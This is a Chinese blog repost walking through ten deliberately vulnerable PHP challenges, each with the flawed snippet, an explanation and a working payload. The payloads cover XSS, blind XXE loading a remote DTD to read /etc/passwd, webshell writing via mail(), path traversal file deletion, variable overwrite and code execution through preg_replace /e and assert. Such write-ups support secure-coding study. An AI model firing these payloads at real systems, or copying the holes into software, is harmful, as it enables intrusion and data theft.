PHP SECURITY CALENDAR 2017 (1-10题)

x33g5p2x  于2021-11-20 转载在 PHP  
字(13.2k)|赞(0)|评价(0)|浏览(200)

PHP SECURITY CALENDAR 2017 (1-10题)

Day 1 - Wish List

class Challenge {
    const UPLOAD_DIRECTORY = './solutions/';
    private $file;
    private $whitelist;

    public function __construct($file) {
        $this->file = $file;
        $this->whitelist = range(1, 24);
    }

    public function __destruct() {
        if (in_array($this->file['name'], $this->whitelist)) {
            move_uploaded_file(
                $this->file['tmp'],
                self::UPLOAD_DIRECTORY . $this->file['name']
            );
        }
    }
}

$challenge = new Challenge($_FILES['solution']);

关键代码在**__destruct析构函数中,使用in_array检查$_FILES[‘solution’]上传文件的文件名name是否在1~24的范围之内来选择是否执行move_uploaded_file**,由于没有设置in_array的第三个参数导致了绕过检查。

in_array:(PHP 4, PHP 5, PHP 7)

功能 :检查数组中是否存在某个值

定义in_array(mixed $needle, array $haystack, bool $strict = false): bool

返回值 :bool

大海捞针,在 $haystack 中搜索 $needle ,如果没有设置第三个参数 strict 则使用宽松的比较。

启用第三个参数为true,则会使用强比较,检查类型是否也相同

例如文件名为 7shell.php 。因为PHP在使用 in_array() 函数判断时,会将 7shell.php 强制转换成数字7,而数字7在 range(1,24) 数组中,最终绕过 in_array() 函数判断,导致任意文件上传漏洞。

Day 2 - Twig

// composer require "twig/twig"
require 'vendor/autoload.php';

class Template {
    private $twig;

    public function __construct() {
        $indexTemplate = '<img ' .
            'src="https://loremflickr.com/320/240">' .
            '<a href="{{link|escape}}">Next slide »</a>';

        // Default twig setup, simulate loading
        // index.html file from disk
        $loader = new Twig\Loader\ArrayLoader([
            'index.html' => $indexTemplate
        ]);
        $this->twig = new Twig\Environment($loader);
    }

    public function getNexSlideUrl() {
        $nextSlide = $_GET['nextSlide'];
        return filter_var($nextSlide, FILTER_VALIDATE_URL);
    }

    public function render() {
        echo $this->twig->render(
            'index.html',
            ['link' => $this->getNexSlideUrl()]
        );
    }
}

(new Template())->render();

这次考验的是xss漏洞,用到的模板引擎Twig来输出到页面。关键点要绕过两个函数escapefilter_var,在Twig模板引擎定义的 escape 过滤器来过滤link,而实际上这里的 escape 过滤器,是用PHP内置函数 htmlspecialchars 来实现的。Twig中的{{link|escape}}中的escape的和PHP中的htmlspecialchars($link, ENT_QUOTES, 'UTF-8')是一样的,所以单引号和双引号等都无法使用了

htmlspecialchars:(PHP 4, PHP 5, PHP 7)

功能 :将特殊字符转换为 HTML 实体

& (& 符号)  ===============  &amp;
" (双引号)  ===============  &quot;
' (单引号)  ===============  &apos;
< (小于号)  ===============  &lt;
> (大于号)  ===============  &gt;

第二处过滤在 第22行 ,这里用了 filter_var 函数来过滤 nextSlide 变量,且用了 FILTER_VALIDATE_URL 过滤器来判断是否是一个合法的url。**filter_var**的URL过滤非常的弱,只是单纯的从形式上检测并没有检测协议。测试如下:

var_dump(filter_var('example.com', FILTER_VALIDATE_URL));           # false
var_dump(filter_var('http://example.com', FILTER_VALIDATE_URL));    # http://example.com
var_dump(filter_var('xxxx://example.com', FILTER_VALIDATE_URL));    # xxxx://example.com
var_dump(filter_var('http://example.com>', FILTER_VALIDATE_URL));   # false

针对这两处的过滤,我们可以考虑使用 javascript伪协议 来绕过,javascript://comment%250aalert(1)

这里的 // 在JavaScript中表示单行注释,所以后面的内容均为注释,那为什么会执行 alert 函数呢?那是因为我们这里用了字符 %0a ,该字符为换行符,所以 alert 语句与注释符 // 就不在同一行,就能执行。

后面的**%250a其实是%0a**的url编码。这里进行了二次编码。因为payload发给服务器后会解码一次。通过javascript://comment绕过filter_var,最后得到javascript://comment%0aalert()进入到<a href="{{link|escape}}">Next slide »</a>刚好能够触发alert。

Day 3 - Snow Flake

function __autoload($className) {
    include $className;
}

$controllerName = $_GET['c'];
$data = $_GET['d'];

if (class_exists($controllerName)) {
    $controller = new $controllerName($data);
    $controller->render();
} else {
    echo 'There is no page with this name';
}

class HomeController {
    private $data;

    public function __construct($data) {
        $this->data = $data;
    }

    public function render() {
        if ($this->data['new']) {
            echo 'controller rendering new response';
        } else {
            echo 'controller rendering old response';
        }
    }
}

在第8行中的class_exists()会检查是否存在对应的类,当调用class_exists()函数时会触发用户定义的__autoload()函数,用于加载找不到的类。

class_exists :(PHP 4, PHP 5, PHP 7)

功能 :检查类是否已定义

定义bool class_exists ( string $class_name[, bool $autoload = true ] )

$class_name 为类的名字,在匹配的时候不区分大小写。默认情况下 $autoloadtrue ,当 $autoloadtrue 时,会自动加载本程序中的 __autoload 函数;当 $autoloadfalse 时,则不调用 __autoload 函数。

除此之外,还有很多的函数在调用__autoload()的方法,如下:

call_user_func()
call_user_func_array()
class_exists()
class_implements()
class_parents()
class_uses()
get_class_methods()
get_class_vars()
get_parent_class()
interface_exists()
is_a()
is_callable()
is_subclass_of()
method_exists()
property_exists()
spl_autoload_call()
trait_exists()

所以如果我们输入../../../../etc/passwd是,就会调用class_exists(),这样就会触发__autoload()中的include产生任意文件包含。前提是 PHP5~5.3版本 之间才可以,这个漏洞在PHP 5.4中已经被修复了。

另一个是blind xxe漏洞,由于存在class_exists(),所以我们可以调用PHP的任意内置函数,并且通过$controller = new $controllerName($data);进行实例化。这个时候就可以借助与PHP中的SimpleXMLElement类来完成XXE攻击。

test2.php?c=SimpleXMLElement&d=<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % remote SYSTEM "http://外网地址/evil.dtd">
%remote;
%send;
]>

Day 4 - False Beard

class Login {
    public function __construct($user, $pass) {
        $this->loginViaXml($user, $pass);
    }

    public function loginViaXml($user, $pass) {
        if (
            (!strpos($user, '<') || !strpos($user, '>')) &&
            (!strpos($pass, '<') || !strpos($pass, '>'))
        ) {
            $format = '<xml><user="%s"/><pass="%s"/></xml>';
            $xml = sprintf($format, $user, $pass);
            $xmlElement = new SimpleXMLElement($xml);
            // Perform the actual login.
            $this->login($xmlElement);
        }
    }
}

new Login($_POST['username'], $_POST['password']);

第8-9行进行了strpos函数的过滤,然后把接收到的数据进行SimpleXMLElement函数处理。其实这里由于strpos函数使用不当导致了注入问题。

strpos — 查找字符串首次出现的位置

作用:主要是用来查找字符在字符串中首次出现的位置。

var_dump(strpos('abcd','a'));       # 0
var_dump(strpos('abcd','x'));       # false

strpos 函数返回查找到的子字符串的下标。如果字符串开头就是我们要搜索的目标,则返回下标 0 ;如果搜索不到,则返回 false

由于PHP的自动类型转换的关系,0false是相等的,如下:

var_dump(0==false);         # true

所以如果我们传入的usernamepassword的首位字符是<或者是>就可以绕过限制,那么最后的pyaload就是:

username=<"><injected-tag%20property="&password=<"><injected-tag%20property="

最终传入到$this->login($xmlElement)$xmlElement值是<xml><user="<"><injected-tag property=""/><pass="<"><injected-tag property=""/></xml>这样就可以进行注入了。

Day 5 - Postcard

class Mailer {
    private function sanitize($email) {
        if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
            return '';
        }

        return escapeshellarg($email);
    }

    public function send($data) {
        if (!isset($data['to'])) {
            $data['to'] = 'none@ripstech.com';
        } else {
            $data['to'] = $this->sanitize($data['to']);
        }

        if (!isset($data['from'])) {
            $data['from'] = 'none@ripstech.com';
        } else {
            $data['from'] = $this->sanitize($data['from']);
        }

        if (!isset($data['subject'])) {
            $data['subject'] = 'No Subject';
        }

        if (!isset($data['message'])) {
            $data['message'] = '';
        }

        mail($data['to'], $data['subject'], $data['message'],
             '', "-f" . $data['from']);
    }
}

$mailer = new Mailer();
$mailer->send($_POST);

代码中有个mail函数,如果第五个参数设置为**-X**,则可以写入webshell

上面这个样例中,我们使用 -X 参数指定日志文件,最终会在 /var/www/html/rce.php 文件中写入如下数据:

17220 <<< To: Alice@example.com
 17220 <<< Subject: Hello Alice!
 17220 <<< X-PHP-Originating-Script: 0:test.php
 17220 <<< CC: somebodyelse@example.com
 17220 <<<
 17220 <<< <?php phpinfo(); ?>
 17220 <<< [EOF]

要到达mail函数,则需要经过两个过滤filter_varescapeshellarg

filter_var :使用特定的过滤器过滤一个变量

mixed filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] )

功能 :这里主要是根据第二个参数filter过滤一些想要过滤的东西。

filter_var() 问题在于,在双引号中即使存在特殊字符,仍然能够通过检测为true。以下是一些有效通过的例子:

Valid email addresses:
niceandsimple@example.com
very.common@example.com
a.little.lengthy.but.fine@dept.example.com
disposable.style.email.with+symbol@example.com
user@[IPv6:2001:db8:1ff::a0b:dbd0]
"much.more unusual"@example.com
"very.unusual.@.unusual.com"@example.com
"very.(),:;<>[]".VERY."very@\ "very".unusual"@strange.example.com
postbox@com (top-level domains are valid hostnames)
admin@mailserver1 (local domain name with no TLD)
!#$%&'*+-/=?^_`{}|~@example.org
"()<>[]:,;@\"!#$%&'*+-/=?^_`{}| ~.a"@example.org
" "@example.org (space between the quotes)
üñîçøðé@example.com (Unicode characters in local part)

当然由于引入的特殊符号,虽然绕过了 filter_var() 针对邮箱的检测,但是由于在PHP的 mail() 函数在底层实现中,调用了 escapeshellcmd() 函数,对用户输入的邮箱地址进行检测,导致即使存在特殊符号,也会被 escapeshellcmd() 函数处理转义,这样就没办法达到命令执行的目的了。所以可以利用escapeshellarg和escapeshellcmd一起使用从而绕过。

escapeshellarg 函数转义后,还会在左右各加一个单引号,但 escapeshellcmd 函数是直接加一个转义符,对于成对的单引号, escapeshellcmd 函数默认不转义。

escapeshellcmd()escapeshellarg 一起使用,会造成特殊字符逃逸,下面我们给个简单例子理解一下:

  1. 传入的参数是
127.0.0.1' -v -d a=1
  1. 由于escapeshellarg先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。所以处理之后的效果如下:
'127.0.0.1'\'' -v -d a=1'
  1. 接着 escapeshellcmd 函数对第二步处理后字符串中的 \ 以及 a=1' 中的单引号进行转义处理,结果如下所示:
'127.0.0.1'\\'' -v -d a=1\'
  1. 由于第三步处理之后的payload中的 \\ 被解释成了 \ 而不再是转义字符,所以单引号配对连接之后将payload分割为三个部分,具体如下所示:

所以这个payload可以简化为 curl 127.0.0.1\ -v -d a=1' ,即向 127.0.0.1\ 发起请求,POST 数据为 a=1'

Day 6 - Frost Pattern

class TokenStorage {
    public function performAction($action, $data) {
        switch ($action) {
            case 'create':
                $this->createToken($data);
                break;
            case 'delete':
                $this->clearToken($data);
                break;
            default:
                throw new Exception('Unknown action');
        }
    }

    public function createToken($seed) {
        $token = md5($seed);
        file_put_contents('/tmp/tokens/' . $token, '...data');
    }

    public function clearToken($token) {
        $file = preg_replace("/[^a-z.-_]/", "", $token);
        unlink('/tmp/tokens/' . $file);
    }
}

$storage = new TokenStorage();
$storage->performAction($_GET['action'], $_GET['data']);

clearToken()方法中的正则表达式[^a-z.-_],本意是将非a-z.-_全部替换为空。这样../../../目录穿越的方式就无法使用了,因为/会被替换为空。

但是本题的问题在于[^a-z.-_]中的-没有进行转义。如果-没有进行转义,那么-表示匹配一个列表,例如[1-9]表示的数字1到9,但是如果[1\-9]表示就是匹配字母1-9。所以在本题中使用的[^a-z.-_]表示的就是非ascii表中的序号为46至122的字母替换为空。那么此时的../.../就不会被匹配,就可以进行目录穿越,从而造成任意文件删除了。

最后的pyload可以写为:action=delete&data=../../config.php

Day 7 - Bells

function getUser($id) {
    global $config, $db;
    if (!is_resource($db)) {
        $db = new MySQLi(
            $config['dbhost'],
            $config['dbuser'],
            $config['dbpass'],
            $config['dbname']
        );
    }
    $sql = "SELECT username FROM users WHERE id = ?";
    $stmt = $db->prepare($sql);
    $stmt->bind_param('i', $id);
    $stmt->bind_result($name);
    $stmt->execute();
    $stmt->fetch();
    return $name;
}

$var = parse_url($_SERVER['HTTP_REFERER']);
parse_str($var['query']);
$currentUser = getUser($id);
echo '<h1>'.htmlspecialchars($currentUser).'</h1>';

首先来看parse_url函数

用法:parse_url(string $url, int $component = -1): [mixed]

本函数解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分。

如果省略了 component 参数,将返回一个关联数组 array,在目前至少会有一个元素在该数组中。数组中可能的键有以下几种:

  • scheme - 如 http
  • host
  • port
  • user
  • pass
  • path
  • query - 在问号 ? 之后
  • fragment - 在散列符号 # 之后

例如:http://username:password@hostname/path?arg=value#anchor则会输出以下

Array
(
    [scheme] => http
    [host] => hostname
    [user] => username
    [pass] => password
    [path] => /path
    [query] => arg=value
    [fragment] => anchor
)

在题目中的$var['query']就是?后面的参数键值对。接下来看第二个函数parse_str

用法:parse_str(string,array)

parse_str() 函数把查询字符串解析到变量中。

实例

把查询字符串解析到变量中:

<?php
parse_str("name=Peter&age=43");
echo $name."<br>";
echo $age;
?>

而这个parse_str就是容易产生变量覆盖漏洞的函数。同时$_SERVER['HTTP_REFERER']也是可控的,那么就存在变量覆盖的漏洞了。

通过变量覆盖漏洞,我们可以覆盖掉$config,使其在我们构造的数据库中进行查询,这样就能够保证我们能够顺利地进行通过验证。

最后的payload如下:http://host/config[dbhost]=10.0.0.5&config[dbuser]=root&config[dbpass]=root&config[dbname]=malicious&id=1

Day 8 - Candle

header("Content-Type: text/plain");
function complexStrtolower($regex, $value) {
    return preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value);
}

foreach ($_GET as $regex => $value) {
    echo complexStrtolower($regex, $value) . "\n";
}

preg_replace函数的/e模式会产生代码执行,下面是一个demo。第一个参数必须是匹配到第三个参数,第二个参数就会产生命令执行

preg_replace('/(.*)/e','phpinfo();','xxx');

preg_replace:(PHP 5.5)

功能 : 函数执行一个正则表达式的搜索和替换

定义mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

搜索 subject 中匹配 pattern 的部分, 如果匹配成功以 replacement 进行替换

我们可以通过控制 preg_replace 函数第1个、第3个参数,来执行代码。但是可被当做代码执行的第2个参数,却固定为 'strtolower("\1")'

因为strtolower("\\1")使用的是双引号,而php中的双引号能够执行代码,比如

<?php
echo strtolower("{${phpinfo()}}");
?>

所以此处的strtolower("\\1")就是\1

echo strtolower("\\1");

\1在正则表达式中表示反向引用,即引用正则第一次匹配到的值{${phpinfo()}},这样就相当于执行了{${phpinfo()}}

那么本题的最后的payload可以写为/?.*={${phpinfo()}}

但是,如果GET请求的参数名存在非法字符,PHP会将其替换成下划线,即 .* 会变成 _* 。所以 payload 变为了:

_*={${phpinfo()}}

这时候需要绕过 . 的话,可以利用以下payload,都是第一个参数匹配第三个参数,然后执行第二个参数的代码,反向引用了{${phpinfo()}}导致代码执行

http://test.com/test.php/?{\${\w*\(\)}}={${phpinfo()}}
http://test.com/test.php/?\S*={${phpinfo()}}

Day 9 - Rabbit

class LanguageManager
{
    public function loadLanguage()
    {
        $lang = $this->getBrowserLanguage();
        $sanitizedLang = $this->sanitizeLanguage($lang);
        require_once("/lang/$sanitizedLang");
    }

    private function getBrowserLanguage()
    {
        $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'en';
        return $lang;
    }

    private function sanitizeLanguage($language)
    {
        return str_replace('../', '', $language);
    }
}

(new LanguageManager())->loadLanguage();

这一题考察的是一个 str_replace 函数过滤不当造成的任意文件包含漏洞。在上图代码 第18行 处,程序仅仅只是将 ../ 字符替换成空,这并不能阻止攻击者进行攻击。例如攻击者使用payload:....// 或者 ..././ ,在经过程序的 str_replace 函数处理后,都会变成 ../ ,所以上图程序中的 str_replace 函数过滤是有问题的。

str_replace:(PHP 4, PHP 5, PHP 7)

功能 :子字符串替换

定义mixed str_replace ( mixed $search , mixed $replace , mixed $subject [, int &$count ] )

该函数返回一个字符串或者数组。如下:

str_replace(字符串1,字符串2,字符串3):将字符串3中出现的所有字符串1换成字符串2。

str_replace(数组1,字符串1,字符串2):将字符串2中出现的所有数组1中的值,换成字符串1。

str_replace(数组1,数组2,字符串1):将字符串1中出现的所有数组1一一对应,替换成数组2的值,多余的替换成空字符串。

那么最后的请求的payload如下:

Accept-Language:  .//....//....//etc/passwd

Day 10 - Anticipation

$pi = extract($_POST);
function goAway() {
    error_log("Hacking attempt.");
    header('Location: /error/');
}

if (!isset($pi) || !is_numeric($pi)) {
    goAway();
}

if (!assert("(int)$pi == 3")) {
    echo "This is not pi.";
} else {
    echo "This might be pi.";
}

虽然这道题目存在extract($_POST);,但并不存在变量覆盖漏洞。 这个题目存在两个关键的问题:

  1. 虽然做了pi值的防范,但是程序在header跳转处理完之后,没有使用exit()或者是die()退出,导致后续的第11行代码任然可以执行。
  2. assert()能够执行"中的代码,如assert("(int)phpinfo()");

例如我们的payload为:pi=phpinfo() (这里为POST传递数据),然后程序就会执行这个 phpinfo 函数。当然,你在浏览器端可能看不到 phpinfo 的页面,而是像下面这样的图片:

但是用 BurpSuite ,大家就可以清晰的看到程序执行了 phpinfo 函数:

实际上,这种案例在真实环境下还不少。例如有些CMS通过检查是否存在install.lock文件,从而判断程序是否安装过。如果安装过,就直接将用户重定向到网站首页,却忘记直接退出程序,导致网站重装漏洞的发生。

相关文章